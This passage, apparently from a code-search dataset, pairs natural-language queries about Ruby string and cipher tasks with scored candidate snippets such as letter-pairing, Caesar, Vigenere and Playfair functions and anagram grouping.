"ed1b58af16fd466e308ffc9229115e36", "score": "0.6145399", "text": "def update_attributes(params)\n raise(RHapi::AttributeError, \"The params must be a hash.\") unless params.is_a?(Hash)\n params.each do |name, value|\n self.properties.send(name.to_s + '=', value)\n end\n save # only call API once rather than repeatedly saving with update_attribute calls\n end", "title": "" }, { "docid": "ed1b58af16fd466e308ffc9229115e36", "score": "0.6145399", "text": "def update_attributes(params)\n raise(RHapi::AttributeError, \"The params must be a hash.\") unless params.is_a?(Hash)\n params.each do |name, value|\n self.properties.send(name.to_s + '=', value)\n end\n save # only call API once rather than repeatedly saving with update_attribute calls\n end", "title": "" }, { "docid": "147d62c4df79ff1ca86cbd477112bf7f", "score": "0.61445665", "text": "def update\n end", "title": "" }, { "docid": "147d62c4df79ff1ca86cbd477112bf7f", "score": "0.61445665", "text": "def update\n end", "title": "" }, { "docid": "147d62c4df79ff1ca86cbd477112bf7f", "score": "0.61445665", "text": "def update\n end", "title": "" }, { "docid": "7f11aed7030229ef429116ccba78c00f", "score": "0.61400205", "text": "def update_properties\n # t_init = 0, t_mod = 0, t_formula = 0, t_formula_mod = 0, t_post_init = 0\n # t_update_properties = Benchmark.measure do\n # Reset values for everything except formulas\n # t_init = Benchmark.measure do\n character_properties.reject { |p| p.is_a?(CharacterFormula) }.each do |p|\n p.init(self)\n end\n # end\n\n # Apply modifiers to attributes, skills and resistances (formulas later)\n mods = []\n # t_mod = Benchmark.measure do\n mods << race.property_modifiers if race\n mods << birthsign.property_modifiers if birthsign\n mods.flatten!\n mods.reject { |m| m.property.is_a?(Formula) }.each(&method(:apply_modifier))\n # end\n\n # Now start to process formulas\n # t_formula = Benchmark.measure do\n character_properties.select { |p| p.is_a?(CharacterFormula) }.each do |f|\n f.init(self)\n end\n # end\n\n # Apply modifiers to formulas\n # t_formula_mod = Benchmark.measure do\n mods.select { |m| m.property.is_a?(Formula) }.each(&method(:apply_modifier))\n # end\n\n # t_post_init = Benchmark.measure do\n character_properties.each do |prop|\n prop.post_init(self)\n end\n # end\n # end\n\n # logger.warn(\"## Init: #{(t_init.real*1000).to_i}ms\")\n # logger.warn(\"## Mofifiers: #{(t_mod.real*1000).to_i}ms\")\n # logger.warn(\"## Formula: #{(t_formula.real*1000).to_i}ms\")\n # logger.warn(\"## Formula Modifiers: #{(t_formula_mod.real*1000).to_i}ms\")\n # logger.warn(\"## Post Init: #{(t_post_init.real*1000).to_i}ms\")\n # logger.warn(\"### Update Properties: #{(t_update_properties.real*1000).to_i}ms\")\n end", "title": "" }, { "docid": "22a21a1959eeb926dfe475d8878239d7", "score": "0.6127356", "text": "def update\n connection.put(singleton_path(prefix_options), encode, self.class.headers).tap do |response|\n load_attributes_from_response(response)\n end\n end", "title": "" } ]
8179898aeda6733d257b407fd2edad78
Group the plaintext into pairs of letters
[ { "docid": "e26ab27a7189799166cb1e3c7aad713a", "score": "0.71366906", "text": "def pair_letters_of_text(text)\n text = text.scan(/../).join(' ')\nend", "title": "" } ]
[ { "docid": "9a7a7a3770494f6d95f27d2033cefbfa", "score": "0.7612564", "text": "def letter_pairs str, &block\n chars = str.chars.to_a\n chars[0..-2].zip(chars[1..-1]).map(&:join)\n end", "title": "" }, { "docid": "9c0b8e1407d3793b37cd17458797bccd", "score": "0.7177142", "text": "def prepare_plaintext(text)\n remove_non_alphabetic_char(text)\n new_text = find_double_letters(text) \n result = fix_odd_numbered_text(new_text)\n pair_letters_of_text(result)\nend", "title": "" }, { "docid": "25992f7771c22bdff71bd2e920c4c226", "score": "0.6674382", "text": "def simple_transposition(text)\n letters = text.split('')\n row_one = []\n row_two = []\n letters.each_index do |i|\n if i.odd?\n row_two.push(letters[i])\n elsif i.even?\n row_one.push(letters[i])\n end\n end\n return (row_one + row_two).join('')\nend", "title": "" }, { "docid": "ac9c2ac5a6c65840c3e431ee2939576f", "score": "0.6564095", "text": "def encode(plaintext)\n arr = []\n\n plaintext.split.each do |word|\n word.reverse!\n target_letter = word.slice!(0)\n arr << word + target_letter\n end\n\n arr.join(\" \")\nend", "title": "" }, { "docid": "affb3737d1a7bc2a3d3ce26df0d209eb", "score": "0.6443308", "text": "def simple_transposition(text)\n output = []\n 2.times { |index| text.chars.each_slice(2).map { |char| output << char[index] } }\n output.compact.join\nend", "title": "" }, { "docid": "9fdf036a426da3c6f21bca70e5fde9ea", "score": "0.6440244", "text": "def encrypt_this(text)\n text.split.map { |word|\n word[1], word[-1] = word[-1], word[1] if word.size > 2\n word[0] = word[0].ord.to_s\n word\n } .join(' ')\nend", "title": "" }, { "docid": "2ef7b095b7fd28780ab25600a9fef04c", "score": "0.63523734", "text": "def combine_letters(nested_letters)\n first_array = nested_letters.shift\n combos = first_array.product(*nested_letters).map { |a| a.join(\"\") }\n end", "title": "" }, { "docid": "c0b499e17f413f2219c95ba2d4eaaf6f", "score": "0.6230718", "text": "def cipher\n arr = self.plaintext_segments\n newarr = []\n loop do\n newstr = ''\n arr.map! do |substr|\n if substr\n newstr << substr.chr\n substr[1..-1]\n else\n nil\n end\n end\n break unless arr.any? { |substr| substr }\n newarr << newstr\n end\n newarr\n end", "title": "" }, { "docid": "57f7b46c8ea1850c2a77bc8a40067f87", "score": "0.6224465", "text": "def encrypt(plaintext_alphabet, cipher_alphabet, plaintext)\r\n ciphertext = \"\"\r\n\r\n plaintext.upcase.split.each do |current_word| # split plaintext into words\r\n current_word.each_char do |current_character|\r\n index = plaintext_alphabet.index(current_character) # Lookup letter in plaintext to get index\r\n if index != nil\r\n ciphertext << cipher_alphabet[index]\r\n end\r\n end\r\n ciphertext << \" \" # add a space between words\r\n end\r\n\r\n ciphertext\r\nend", "title": "" }, { "docid": "089c340faf3aea59fbb39a58f4466c08", "score": "0.6198726", "text": "def encode plaintext\n plain = ('a'..'z').to_a\n\n plaintext_array = plaintext.split(//)\n\n ciphertext_array = plaintext_array.map do |char|\n index = plain.index(char)\n index = (index + 13) % 26\n plain[index]\n end\n\n ciphertext_array.join(\"\")\n\nend", "title": "" }, { "docid": "6327f4a4df862aa9ff4c53354e93ab4b", "score": "0.61566985", "text": "def join_the_letters\n\t\t @encoded_word.join\n\tend", "title": "" }, { "docid": "f531aea17a32a33e754a0aea87c7a60e", "score": "0.61490124", "text": "def encrypt(text, permutation_level = -3)\n alphabet = (\"A\"..\"Z\").to_a\n text.upcase.split(\"\").map do |letter|\n index = alphabet.index(letter)\n index.nil? ? letter : alphabet[(index + permutation_level) % 26]\n end.join\nend", "title": "" }, { "docid": "f531aea17a32a33e754a0aea87c7a60e", "score": "0.61490124", "text": "def encrypt(text, permutation_level = -3)\n alphabet = (\"A\"..\"Z\").to_a\n text.upcase.split(\"\").map do |letter|\n index = alphabet.index(letter)\n index.nil? ? letter : alphabet[(index + permutation_level) % 26]\n end.join\nend", "title": "" }, { "docid": "f6c87051ed1b9e23aa964b5075c63878", "score": "0.6133479", "text": "def group_by_starting_letter(a); a.group_by(&:chr) end", "title": "" }, { "docid": "5376ad8f8c99156e24e7047fbea8bc50", "score": "0.61245203", "text": "def alt_pairs(str)\nend", "title": "" }, { "docid": "2565063d5a3e2ddaceab82488294cffb", "score": "0.6113761", "text": "def encrypt(text)\n text.split(\"\").map do |character|\n alphabet = (\"A\"...\"Z\").to_a\n character_index = alphabet.index_of(character)\n if character_index.nil?\n \" \"\n else\n alphabet[character_index-3]\n end\n end\nend", "title": "" }, { "docid": "70a92ca64e082d4d3efc52ce29c1a620", "score": "0.61050427", "text": "def createCipher(input)\n letterArray = ('a'..'z').to_a\n tempArray = []\n input.split('').each do |chr|\n if chr === ' '\n tempArray.append(' ')\n else\n tempArray.append(letterArray[letterArray.index(chr) + 3])\n end\n end\n return tempArray.join('')\nend", "title": "" }, { "docid": "5f683445b54ddd50cef1ccca7d131e8d", "score": "0.6080746", "text": "def encrypt(phrase)\n alfabeto = (\"A\"..\"Z\").to_a\n our_array = phrase.split(\"\").map do |letter|\n letter_pos = alfabeto.find_index(letter)\n if letter_pos.nil?\n letter\n else\n alfabeto[letter_pos - 3]\n end\n end\n our_array.join\nend", "title": "" }, { "docid": "173ab05ed0a3b04410cf7b27ef6d4161", "score": "0.6075694", "text": "def group_chars_into_runs(chars)\n # filter out duplicate chars before going on with regular logic,\n # seems to happen with shadowed text\n chars.uniq! {|val| {x: val.x, y: val.y, text: val.text}}\n super\n end", "title": "" }, { "docid": "c32cab1505f26970aaa577d38b30a6e6", "score": "0.60457927", "text": "def letter_encoder_match_list \n\t\t{'a' => 'b', 'b' => 'c', 'c' => 'd', 'd' => 'e',\n\t 'e' => 'f', 'f' => 'g', 'g' => 'h', 'h' => 'i',\n\t 'i' => 'j', 'j' => 'k', 'k' => 'l', 'l' => 'm',\n\t 'm' => 'n', 'n' => 'o', 'o' => 'p', 'p' => 'q',\n\t 'q' => 'r', 'r' => 's', 's' => 't', 't' => 'u',\n\t 'u' => 'v', 'v' => 'w', 'w' => 'x', 'x' => 'y',\n\t 'y' => 'z', 'z' => 'a'}\n\tend", "title": "" }, { "docid": "9834249f38e55f985f0cfaf145f325d9", "score": "0.60380673", "text": "def get_letter_combinations\n \tnumber = @phone_number.split(\"\")\t\t# [\"6\",\"6\",\"8\",\"6\"]\n\n \tnumber.each do |digit|\n \t\t@phone_letters << @digit_to_character[digit]\n \tend\n\n \tget_words\n\tend", "title": "" }, { "docid": "79a03cfa0eef6e1e0246bdb3155b243f", "score": "0.60375243", "text": "def message_to_letters(message)\n message.chars # => [\"T\", \"h\", \"i\", \"s\"], [\"i\", \"s\"], [\"M\", \"y\"], [\"s\", \"e\", \"c\", \"r\", \"e\", \"t\"]\nend", "title": "" }, { "docid": "7d8bbfbca7dc6ba7ad1ee1de650e32b7", "score": "0.6019995", "text": "def letter_combinations(digits)\n out = []\n digits.to_s.each_char do |i|\n out = add_l(out, i)\n end\n out\nend", "title": "" }, { "docid": "87af1b4065fdef05456010ad523b1a9e", "score": "0.6012172", "text": "def combine_anagrams(words)\n words.group_by {|i| i.chars.sort.join}.values\nend", "title": "" }, { "docid": "7c1f61fabc780ea61b6f3f9069fa5d66", "score": "0.6011887", "text": "def encode (plaintext)\n plain = alphabet = (\"a\"..\"z\").to_a\n cipher = plain.rotate(13)\n \n plaintext_array = plaintext.split(//)\n #alternatively plaintext_array = plaintext.chars\n \n ciphertext_array = plaintext_array.map do |char|\n index = plain.index(char)\n cipher[index]\n end\n ciphertext_array.join(\"\")\nend", "title": "" }, { "docid": "069e725ab313d36455101742b42a92f2", "score": "0.6011099", "text": "def letters_of(text)\n\t\t text.downcase.delete('^a-z').split('').sort.join\n\t end", "title": "" }, { "docid": "8781bb6b37b105ad2136c30ef3dcf3c2", "score": "0.60043263", "text": "def alle_letters\n self.letter_amount_points ||= {}\n lap = ''\n letter_amount_points.each do |l, ap|\n lap += l * ap[0]\n end\n lap.split('')\n end", "title": "" }, { "docid": "bf3889fd5f7b0013150e2326ccc87c1f", "score": "0.6002724", "text": "def vigenere_cipher(message, keys)\n new_str = \"\"\n alpha = (\"a\"..\"z\").to_a\n \n message.each_char.with_index do |char, idx|\n start_pos = alpha.index(char)\n end_pos = start_pos + keys[idx % keys.length]\n new_str += alpha[end_pos % alpha.length]\n end\n new_str\nend", "title": "" }, { "docid": "665a571d5ac97e629401aa1af7d40b7c", "score": "0.6002247", "text": "def encrypt(string) #***this is the short\n letters = string.split(\"\")\n result = letters.collect do |letter| \n encrypt_letter(letter)\n end \n result.join\n end", "title": "" }, { "docid": "00764ee2b61567d51becb492b3201c60", "score": "0.59965336", "text": "def encrypt_this(text)\n words = text.split(\" \")\n new_words = []\n \n words.each do |word|\n characters = word.chars # -> returns array of all chars\n characters[0] = characters[0].ord\n\n characters.insert(1, characters[characters.length - 1])\n characters.pop\n\n characters.push(characters[2])\n characters.delete_at(2)\n\n new_words << characters.join\n end\n return new_words.join(\" \")\nend", "title": "" }, { "docid": "53f5a15535eb3819e31acb5f64bdb1ba", "score": "0.59866494", "text": "def caesar_cipher1 string\n alphabets = ('A'..\"Z\").to_a\n new_string = string.to_s.split(\"\")\n 0.upto(new_string.length - 1) do |i|\n next if new_string[i] == \" \"\n next if !new_string[i].match(/[A-Z]/)\n if alphabets.index(new_string[i]) >= alphabets.length/2\n new_string[i] = alphabets[alphabets.index(new_string[i])-alphabets.length/2]\n else\n new_string[i] = alphabets[alphabets.index(new_string[i])+alphabets.length/2]\n end\n end\n return new_string.join(\"\")\nend", "title": "" }, { "docid": "0ab37482ea5b46e8006d681b17d32ab3", "score": "0.59726095", "text": "def make_braille_grid_letter_by_letter\n @counter = @raw_braille_message.count\n if @raw_braille_message != nil\n @counter.times do\n letter = @raw_braille_message.shift\n\n @line_1 << letter.shift\n # when @line_1.length == 80\n # insert \"\\n\"\n\n @line_2 << letter.shift\n # when @line_2.length == 80\n # insert \"\\n\"\n\n @line_3 << letter.shift\n # when @line_3.length == 80\n # insert \"\\n\"\n end\n end\n #@line_1.length\n @encoded_braille_message = (@line_1.join)+\"\\n\"+(@line_2.join)+\"\\n\"+(@line_3.join)\n end", "title": "" }, { "docid": "9c615f053cd644e8315694c5e0364820", "score": "0.59643906", "text": "def pig_it text\n # ...\n arr = text.split(\" \")\n key = \"\"\n alpha = (\"a\"..\"z\").to_a.concat((\"A\"..\"Z\").to_a)\n arr.each do |word|\n if alpha.include?(word[0])\n first = word[0]\n rest = word[1..-1]\n ay = \"ay\"\n key << rest + first + ay + \" \"\n else\n key << word\n end\n end\n key = key[0..-2] if key[-1] == \" \"\n return key\nend", "title": "" }, { "docid": "f766e305d4fd38e3f37d4982ae0d3f6f", "score": "0.59631157", "text": "def add_letters\n\tcharacters = self.text.chars\n\talphabetized_characters = characters.sort\n\tself.letters = alphabetized_characters.join\nend", "title": "" }, { "docid": "5839b7bf5f9b49719c9348e30f8c18f5", "score": "0.59534717", "text": "def encrypt (greeting)\n letter = 0\n\n result = \"\"\n # use the index to print\n while letter < greeting.length\n if greeting[letter] == \"z\"\n result += \"a\"\n elsif greeting[letter] == \" \"\n result += \" \"\n else\n result += greeting[letter].next\n end\n letter += 1\n end\n p result\nend", "title": "" }, { "docid": "c517cb316de5edc174ac08081a98a736", "score": "0.59450334", "text": "def letters_of(text)\n text.downcase.delete('^a-z').split('').sort.join\n end", "title": "" }, { "docid": "3ba031ff3b4ce10f7a50a92d5c370c2d", "score": "0.5942056", "text": "def insertions(splits)\n splits.map do |first, second|\n letters.map { |l| [first, l, second].join }\n end\n end", "title": "" }, { "docid": "4e90d5174952ef21670441d1bb73845a", "score": "0.593809", "text": "def create_letter_n_gram(sentence, n_gram)\n letters = sentence.delete(' ')\n letters.chars.each_cons(n_gram).with_object([]) do |letter, array|\n array << letter\n end\nend", "title": "" }, { "docid": "c8715c96eb77eba15d09abdeafa42ca1", "score": "0.59307176", "text": "def combine_anagrams(words)\n\n words.group_by { |word| word.downcase.chars.sort.join}.values\n \t\t\t\t\t\t\t\t\t\t#group_by returns key that is result of evaluated block and values are the the collection that corresponds to the key \n \t\t\t\t\t\t\t\t\t #chars returns an array of characters from word\n \t\t\t\t\t\t\t\t\t #sorts array from a to z\n \t\t\t\t\t\t\t\t\t #join puts the char array back into a string\n\nend", "title": "" }, { "docid": "984de3c161a9958a1dab825de1224a79", "score": "0.5914125", "text": "def vigenere_cipher(msg,keys)\n\n alpha = (\"a\"..\"z\").to_a\n\n new_msg = \"\"\n\n msg.each_char.with_index do |char, ind|\n\n idx = alpha.index(char)\n\n key_idx = ind % keys.length\n\n key = keys[key_idx]\n\n new_idx = (idx + key)%26\n\n new_msg += alpha[new_idx]\n\n end\n\n new_msg\n\nend", "title": "" }, { "docid": "670851fb66d206774240ed35357a4187", "score": "0.59106624", "text": "def pig_it text\n a = text.split(\" \")\n a.map! do |x|\n b = x.to_s.split(\"\").rotate(1) # splits each word into its letter and then 'rotates' the first letter to the last\n c = b.join()\n if c =~ /[A-Za-z]/ # checks if element is a letter\n x = c + \"ay\"\n else\n c\n end\n end\n string = a.join(\" \")\nend", "title": "" }, { "docid": "d79b50c22591f6ce33dd76b994c5169f", "score": "0.5889356", "text": "def t1(text)\n text.chars.map {|c| c =~ /[a-x]/ ? (c.ord + 2).chr : c == 'y' ? 'a': c == 'z' ? 'b' : c }.join\nend", "title": "" }, { "docid": "40a1398346fa66fb62ac14471dd16655", "score": "0.5879992", "text": "def encrypt(text)\n text.each_char.map { |character|\n encrypt_character(character)\n }.join('')\nend", "title": "" }, { "docid": "cf00dc1195b7d94622981a435b47a172", "score": "0.58766997", "text": "def combine_anagrams(words)\n words.group_by { |word|\n word.downcase.chars.sort\n }.values\nend", "title": "" }, { "docid": "cf00dc1195b7d94622981a435b47a172", "score": "0.58766997", "text": "def combine_anagrams(words)\n words.group_by { |word|\n word.downcase.chars.sort\n }.values\nend", "title": "" }, { "docid": "e4d1324da7eb4f6a763cdfa7a6c49651", "score": "0.5873334", "text": "def encode(string)\n\n first = ('a'..'m').to_a\n second = ('n'..'z').to_a\n\n letters = string.split('')\n\n result = letters.map do |letter|\n if first.include? letter\n index = first.find_index(letter)\n second[index]\n elsif second.include? letter\n index = second.find_index(letter)\n first[index]\n end\n end\n return _________ #need to get the complete code from this solution\nend", "title": "" }, { "docid": "56df13e2dcf7f85a7d4454966084f428", "score": "0.5873001", "text": "def combine_anagrams(words)\n words.group_by { |word| word.downcase.chars.sort }.values\nend", "title": "" }, { "docid": "da252781db4b0244233025b094cfdf4d", "score": "0.5866163", "text": "def ciphertext\n cipher_text = []\n plaintext_segments.each do |segment|\n segment.chars.each_with_index do |letter, i|\n cipher_text[i] ||= []\n cipher_text[i] << letter\n end\n end\n cipher_text.join\n end", "title": "" }, { "docid": "3294082f9c28cc09d60f4a3b08f5bb3f", "score": "0.5858975", "text": "def combine_anagrams(words)\n words.group_by { |word|\n word.downcase.chars.sort\n }.values\nend", "title": "" }, { "docid": "8c72e92310ed2cf502ba5f1780fd034d", "score": "0.5858756", "text": "def solveCipher(input)\n letterArray = ('a'..'z').to_a\n tempArray = []\n input.split('').each do |chr|\n if chr === ' '\n tempArray.append(' ')\n else\n tempArray.append(letterArray[letterArray.index(chr) - 3])\n end\n end\n return tempArray.join('')\nend", "title": "" }, { "docid": "a57ee0ea54eaea77bfe20c59b25a37c6", "score": "0.5853586", "text": "def anagram_groups\n array_with_only_chars=self.split.map { |w| w.gsub(/[\\W]/,'').downcase }\n mapa = Hash.new\n array_with_only_chars.select { |a| !a.to_s.empty?}.each do |w|\n key=''\n w.to_s.downcase.chars.sort.each { |s| key+=s}\n value=mapa[key]?w:Array.new << w\n mapa[key] =(mapa[key].to_a << value).flatten\n end\n mapa.values\n end", "title": "" }, { "docid": "b11960398eda1344a05fb98de8f3e4e3", "score": "0.5851261", "text": "def combine_anagrams(words)\n # <YOUR CODE HERE>\n\n ordered_letters_to_words = {}\n\n words.each {\n \t|word|\n \tordered_letters_to_words[word.downcase.split(%r{}).sort] = []\n }\n\n words.each {\n \t|word|\n \tordered_letters_to_words[word.downcase.split(%r{}).sort].push(word)\n }\n\n anagram_groups = []\n ordered_letters_to_words.each {\n \t|key, value|\n \tanagram_groups.push(value)\n }\n\n return anagram_groups\n\nend", "title": "" }, { "docid": "20e57dfc5fcc1b90bbb51a34440e1bc3", "score": "0.5845553", "text": "def encrypt_this(string)\n words = string.split\n words.map do |word|\n arr = word.chars\n arr[0] = arr[0].ord\n arr[1], arr[-1] = arr[-1], arr[1]\n arr.join\n end.join(' ')\nend", "title": "" }, { "docid": "6c55b27dd0aef969a65d1678d511afca", "score": "0.5844009", "text": "def test_organizes_character_message_in_ABCD_format\n # skip\n message = Runner.new([\"0\", \"1\", \"2\", \"3\", \"4\"])\n assert_equal [\"0a\", \"15b\", \"15c\", \"11d\", \"4a\"], message.abcd_assignment(message.encrypt(\"apple\"))\n end", "title": "" }, { "docid": "0ed2f3b870c9e36261642b48334af2fd", "score": "0.5839206", "text": "def group_anagrams_1(strs)\n\tstrs.group_by do |str|\n\t\tstr.downcase.chars.sort\n\tend.values\nend", "title": "" }, { "docid": "e2edba3af3953bbb0a613a31b3a14a83", "score": "0.5821654", "text": "def pig_it text\n text.split.map { |i| i =~ /\\w+/ ? i.chars.rotate.join + \"ay\" : i }.join(' ')\nend", "title": "" }, { "docid": "f4aedc9b7de681e5b864748c12a5242b", "score": "0.5821048", "text": "def grouped_anagrams(strings)\n letter_combos = Hash.new\n strings.each do |word|\n letters = word.chars.sort\n sorted_letters = letters.join\n if !letter_combos.has_key?(sorted_letters)\n letter_combos[sorted_letters] = [word]\n else letter_combos[sorted_letters] << word\n end\n end\n return letter_combos.values\nend", "title": "" }, { "docid": "a98a8291658b53acf3853aec6b75b070", "score": "0.5818858", "text": "def duplicate_encode(word)\n result = \"\"\n letter_array = word.downcase.each_char\n letter_count = letter_array.group_by(&:chr).map {|k, v| [k, v.size] }\n letter_array.each { |letter|\n letter_value = letter_count.select { |let| let[0] == letter}.map { |k, v| v.to_i}\n letter_value[0] > 1 ? result += \")\" : result += \"(\"\n }\n result\nend", "title": "" }, { "docid": "90b33d4469593030a9810e5da7db4239", "score": "0.5816508", "text": "def vigenere_cipher(message, keys)\r\n newstr = \"\"\r\n alpha = (\"a\"..\"z\").to_a\r\n\r\n keys.each do |key|\r\n\r\n end\r\n\r\n message.each_char.with_index do |char, idx| \r\n start_pos = alpha.index(char)\r\n key = keys[idx % keys.length]\r\n new_pos = (start_pos + key) % 26\r\n newstr += alpha[new_pos] \r\n end\r\n\r\n newstr\r\nend", "title": "" }, { "docid": "0e1e249c086acfafe7a9714117e25df7", "score": "0.5811895", "text": "def playfair_cipher(key, text)\r\n ciphertext = ''\r\n encoded_text = ''\r\n\r\n # Clean input text\r\n cleantext = clean_text(text, LETTERS)\r\n\r\n # Split our message into character pairs and insert \"x\" wherever there are repeated characters\r\n temp = cleantext.scan(/.{1,2}/)\r\n temp.each { |pair|\r\n if pair[0] == pair[1]\r\n encoded_text << pair[0]\r\n encoded_text << \"x\"\r\n encoded_text << pair[1]\r\n else\r\n encoded_text << pair\r\n end\r\n }\r\n # Pad string with \"x\" if string has odd number of characters.\r\n encoded_text << \"x\" if encoded_text.length % 2 == 1\r\n\r\n # puts encoded_text\r\n\r\n # Create hashmap for each character in array (faster to do once than searching multiple times)\r\n key_positions = Hash.new\r\n value = ''\r\n x = key.length\r\n y = key[0].length\r\n for i in 0...x \r\n for j in 0...y\r\n key_positions[key[i][j]] = [i, j]\r\n end\r\n end\r\n # Encipher the input text\r\n (0...encoded_text.length).step(2) do |k|\r\n index1 = key_positions[encoded_text[k]]\r\n index2 = key_positions[encoded_text[k+1]]\r\n # check for matching row\r\n if index1[0] == index2[0]\r\n ciphertext << key[index1[0]][(index1[1]+1) % y]\r\n ciphertext << key[index2[0]][(index2[1]+1) % y]\r\n # check for matching column\r\n elsif index1[1] == index2[1]\r\n ciphertext << key[(index1[0]+1) % x][index1[1]]\r\n ciphertext << key[(index2[0]+1) % x][index2[1]]\r\n \r\n # neither row nor column match\r\n else\r\n ciphertext << key[index1[0]][index2[1]]\r\n ciphertext << key[index2[0]][index1[1]]\r\n end\r\n end\r\n return ciphertext\r\nend", "title": "" }, { "docid": "868c0ac763858dd3c47958ee7bd9349f", "score": "0.58112013", "text": "def encrypt(plaintext, grid)\n ciphertext = []\n pairs = bigramify(plaintext)\n matches = []\n\n pairs.each do |pair|\n grid.each_with_index do |row, index|\n if row.include?(pair[0]) && row.include?(pair[1])\n ciphertext << row[(row.index(pair[0]) + 1) % 5]\n ciphertext << row[(row.index(pair[1]) + 1) % 5]\n else\n matches[0] = [index, row.index(pair[0])] if row.include?(pair[0])\n matches[1] = [index, row.index(pair[1])] if row.include?(pair[1])\n end\n end\n unless matches.empty?\n if matches[0][1] == matches[1][1]\n ciphertext << grid[(matches[0][0] + 1) % 5][matches[0][1]]\n ciphertext << grid[(matches[1][0] + 1) % 5][matches[1][1]]\n 2.times { matches.shift }\n else\n ciphertext << grid[matches[0][0]][matches[1][1]]\n ciphertext << grid[matches[1][0]][matches[0][1]]\n 2.times { matches.shift }\n end\n end\n end\n\n ciphertext.join('')\n end", "title": "" }, { "docid": "c69f44ed1bc096b543b708f92b3786b3", "score": "0.5808083", "text": "def vigenere_cipher(message, keys)\n alphabet = (\"a\"..\"z\").to_a\n letters = message.split(\"\")\n result = []\n key_index = 0\n\n letters.each do |letter|\n key_index %= keys.length\n letter_index = alphabet.index(letter)\n \n result << alphabet[(letter_index + keys[key_index]) % 26]\n\n key_index += 1\n end\n p result.join(\"\")\nend", "title": "" }, { "docid": "daa3c34c2c927cad5f27b291c500a923", "score": "0.58013225", "text": "def cipher2(text, key)\n pwLength = key.length\n text = text.split('').map {|x| x[0].ord}\n c, y = [], 0\n text.each do |x|\n\tif(y == pwLength) then y = 0 end\n\tc.push(x ^ key[y].ord)\n\tc.push(',')\n\ty += 1\n end\n c.join\nend", "title": "" }, { "docid": "c9fca77cc7e00ef597fc5a4947ffdc63", "score": "0.57962763", "text": "def letters_of(text)\n text.downcase.delete('^a-z').split('').sort.join\n end", "title": "" }, { "docid": "d857a16d16035627563d1316e81829d0", "score": "0.5795949", "text": "def encrypt_phrase phrase, key\n alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\".split('')\n cipherbet = get_cipher_bet key \n result = ''\n counter = 0\n while counter < phrase.length\n letter = phrase[counter]\n encrypted_letter = encrypt_letter alphabet, cipherbet, letter\n result = result + encrypted_letter\n counter = counter + 1\n end \n return result\nend", "title": "" }, { "docid": "796b5cbbd983a34bf82af9260920dbca", "score": "0.5795309", "text": "def vigenere_cipher(message, keys)\n alpha = (\"a\"..\"z\").to_a\n chars = message.split('')\n keyIdx = 0\n \n chars.each_with_index do |originLetter,idx|\n newCharIdx = alpha.index(originLetter)\n p newCharIdx\n \n if !newCharIdx.nil?\n newCharIdx = (newCharIdx + keys[keyIdx]) % 26\n chars[idx] = alpha[newCharIdx]\n keyIdx += 1\n end\n\n if keyIdx >= keys.length\n keyIdx = 0\n end\n end\n\n chars.join('')\nend", "title": "" }, { "docid": "206dc83dce670c830b6f5d7c7ae5cab9", "score": "0.5787205", "text": "def group_anagrams(strs)\n strs.group_by {|i| i.chars.sort}.values\nend", "title": "" }, { "docid": "282ee3dc931c9dd001783e7a69660d89", "score": "0.5785632", "text": "def encrypt(text, n)\n # where a is the array of characters to encrypt\n a = text.split('')\n (1..n).each do\n even_chars = []\n odd_chars = []\n # where c is the charater in a and\n # i is it's index / position in a\n a.each_with_index{|c, i| i % 2 == 0 ? even_chars << c : odd_chars << c}\n a = odd_chars + even_chars # joins the two arrays together to form a\n #puts \"odd_chars=#{odd_chars.join}, even_chars=#{even_chars.join}, a=#{a.join}\" #trace\n end\n a.join # return the encrypted array of characters (a) as a string\nend", "title": "" }, { "docid": "ec4b0c90684726d7b74f14d5a6f0f271", "score": "0.5775731", "text": "def letter_combinations\n mapping = {'2' => %w(a b c), '3' => %w(d e f), '4' => %w(g h i), '5' => %w(j k l), '6' => %w(m n o),\n '7' => %w(p q r s), '8' => %w(t u v), '9' => %w(w x y z)}\n if is_valid?(@telephone_number)\n file_path = '../dictionary.txt'\n dictionary = build_dictionary(file_path)\n digit_to_key = @telephone_number.to_s.chars.map { |digit| mapping[digit] }\n one_word_combos = get_single_words(@telephone_number, digit_to_key, dictionary)\n two_word_combo = two_word_combo(@telephone_number, 2, dictionary, digit_to_key)\n three_word_combo = three_word_combo(digit_to_key, dictionary)\n combinations = []\n combinations += one_word_combos\n combinations += two_word_combo\n combinations += three_word_combo\n final_words = []\n if (combinations.any?)\n combinations.each do |combo|\n if combo.is_a?(Array)\n combo.each do |ele|\n result = ele.to_csv.to_s.chop\n final_words << result\n end\n else\n result = combo.to_s\n final_words << result\n end\n end\n end\n final_words\n end\n end", "title": "" }, { "docid": "850f426be4fc09a5a4643751193aa4be", "score": "0.57740104", "text": "def encrypt(txt) \n\n\t#get the length of the inputted text\n\tlen = txt.length\n\n\t#initialize a counter for when we loop through all of the letters\n\tcounter = 0\n\n\t#initialize the output string which we will build within the loop \n\tencrypted_txt = \"\"\n\n\t#loop through the following code while 'counter' is less than the length of the text\n\twhile counter < len\n\n\t\t#if the letter is a space, do not do anything\n\n\n\t\tif txt[counter] == \" \"\n\n\t\t\tencrypted_txt += \" \"\n\n\t\telse\n\n\t\t\tencrypted_txt += txt[counter].next\n\n\t\tend\n\n\t\t#increment the counter\n\t\tcounter+=1\n\tend\n\n\t#gives the encrypted_txt back to the calling method\n\treturn encrypted_txt\n\nend", "title": "" }, { "docid": "4d821eb7d6041b91da04530b34d04ea7", "score": "0.57707846", "text": "def pairs(letters)\r\n\t#shuffle bang! shuffles letters in place permanently\r\n\tletters.shuffle!\r\n\t#Slicing array into 2 halves and assigning to one and two, while converting to array\r\n\t#.round places the uneven element into the first array (one)\r\n\tone,two = letters.each_slice((letters.size/2.0).round).to_a\r\n\t#Found applicable method in ruby docs for Array\r\n\t#Converts arguments to arrays and merges corresponding elements\r\n\t#Syntax below will take one[0] and merge with two[0], so on through the index\r\n\tpairs = one.zip(two)\r\n\t#If statement to catch inputs with uneven numbered arrays.\r\n\t#If the arrays sliced in half aren't the same length, we know there is an extra letter.\r\n\t#Pushes the first element in the last 'inner' array [-1][0], to the first element of the 'outer' array.\r\n\t#Deletes the last element\r\n\tif one.length != two.length\r\n\t\tpairs[0] << pairs[-1][0]\r\n\t\tpairs.delete_at(-1)\r\n\tend\r\n\t#executes pairs\r\n\t\tpairs\r\nend", "title": "" }, { "docid": "43d58c6c9358f437152ce30a1c882d1a", "score": "0.57670784", "text": "def anagram_groups\n word_list = self.downcase.split(\" \")\n word_list.group_by{ |word| word.chars.sort}.values \n end", "title": "" }, { "docid": 